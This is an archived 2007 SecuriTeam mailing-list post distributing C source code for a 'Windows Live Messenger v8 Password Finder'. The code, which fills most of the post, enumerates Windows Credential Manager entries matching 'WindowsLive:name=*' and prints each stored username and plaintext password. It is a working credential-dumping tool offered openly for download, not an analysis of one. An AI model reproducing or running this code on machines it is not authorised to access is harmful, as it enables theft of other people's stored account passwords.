Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[TOOL] Windows Live Messenger v8 Password Finder

Subject: [TOOL] Windows Live Messenger v8 Password Finder
Date: 30 Jan 2007 18:32:52 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Windows Live Messenger v8 Password Finder
------------------------------------------------------------------------


SUMMARY



DETAILS

The following tool will try to retrieve the Windows Live Messager's 
password.

/**
 **  Windows Live Messenger v8.0 Password Finder for Windows XP & 2003
 **  (Compiled-VC++ 6.0 SP6, tested on WinXP SP2, Windows Live Messenger
 8.0.0812.00)
 **      - Gregory R. Panakkal
 **        http://www.crapware.tk/
 **        http://www.infogreg.com/
 **/

#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <stdio.h>
#include <tchar.h>

//Following definitions taken from wincred.h
//[available only in Oct 2002 MS Platform SDK / LCC-Win32 Includes]

typedef struct _CREDENTIAL_ATTRIBUTEA {
    LPSTR Keyword;
    DWORD Flags;
    DWORD ValueSize;
    LPBYTE Value;
}
CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;

typedef struct _CREDENTIALA {
    DWORD Flags;
    DWORD Type;
    LPSTR TargetName;
    LPSTR Comment;
    FILETIME LastWritten;
    DWORD CredentialBlobSize;
    LPBYTE CredentialBlob;
    DWORD Persist;
    DWORD AttributeCount;
    PCREDENTIAL_ATTRIBUTEA Attributes;
    LPSTR TargetAlias;
    LPSTR UserName;
} CREDENTIALA,*PCREDENTIALA;

typedef CREDENTIALA CREDENTIAL;
typedef PCREDENTIALA PCREDENTIAL;


////////////////////////////////////////////////////////////////////

typedef BOOL (WINAPI *typeCredEnumerate)(LPCTSTR, DWORD, DWORD *,
PCREDENTIAL **);
typedef VOID (WINAPI *typeCredFree)(PVOID);

typeCredEnumerate pfCredEnumerate = NULL;
typeCredFree pfCredFree = NULL;

////////////////////////////////////////////////////////////////////

void showBanner()
{
    _tprintf(_T("Windows Live Messenger Password Finder for Windows XP &
    2003\n"));
    _tprintf(_T("   - Gregory R. Panakkal, http://www.infogreg.com
    \n\n"));
}

////////////////////////////////////////////////////////////////////
int main()
{
    PCREDENTIAL *CredentialCollection = NULL;
    HMODULE hAdvapi32DLL = NULL;
    DWORD dwCount = 0;
    DWORD dwTempIndex = 0;
    BOOL bOK = FALSE;

    showBanner();

    do
    {
        
        hAdvapi32DLL = LoadLibrary(_T("advapi32.dll"));

        if(NULL == hAdvapi32DLL)
        {
            _tprintf(_T("Error loading advapi32.dll\n"));
            break;
        }


#ifdef _UNICODE
        pfCredEnumerate =
        (typeCredEnumerate)GetProcAddress(hAdvapi32DLL,
        "CredEnumerateW");
#else
        pfCredEnumerate =
        (typeCredEnumerate)GetProcAddress(hAdvapi32DLL,
        "CredEnumerateA");
#endif

        pfCredFree = (typeCredFree)GetProcAddress(hAdvapi32DLL,
        "CredFree");


        if( pfCredEnumerate == NULL||
            pfCredFree == NULL )
        {
            _tprintf(_T("Error loading Cred APIs\n"));
            break;
        }
   

        //Get an array of 'credential', satisfying the filter
        bOK = pfCredEnumerate(
                    _T("WindowsLive:name=*"),
                    0,
                    &dwCount,
                    &CredentialCollection
                    );


        if(FALSE == bOK)
        {
            _tprintf(_T("Error enumerating credentials\n"));
            break;
        }



        for(dwTempIndex=0; dwTempIndex<dwCount; dwTempIndex++)
        {

            _tprintf(
                _T("Username : %s\n"),
                CredentialCollection[dwTempIndex]->UserName
                );
            
            _tprintf(
                _T("Password : %s\n\n"),
                CredentialCollection[dwTempIndex]->CredentialBlob
                );
        }

        //Free credential collection
        pfCredFree(CredentialCollection);


    } while(false);


    //Free lib
    if(NULL != hAdvapi32DLL)
    {
        FreeLibrary(hAdvapi32DLL);
    }

    return TRUE;
}


ADDITIONAL INFORMATION

To keep updated with the tool visit the project's homepage at:  
<http://www.infogreg.com/source-code/gpl/windows-live-messenger-password-finder-for-winxp-and-win2k3.html>
 
http://www.infogreg.com/source-code/gpl/windows-live-messenger-password-finder-for-winxp-and-win2k3.html



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [TOOL] Windows Live Messenger v8 Password Finder, SecuriTeam <=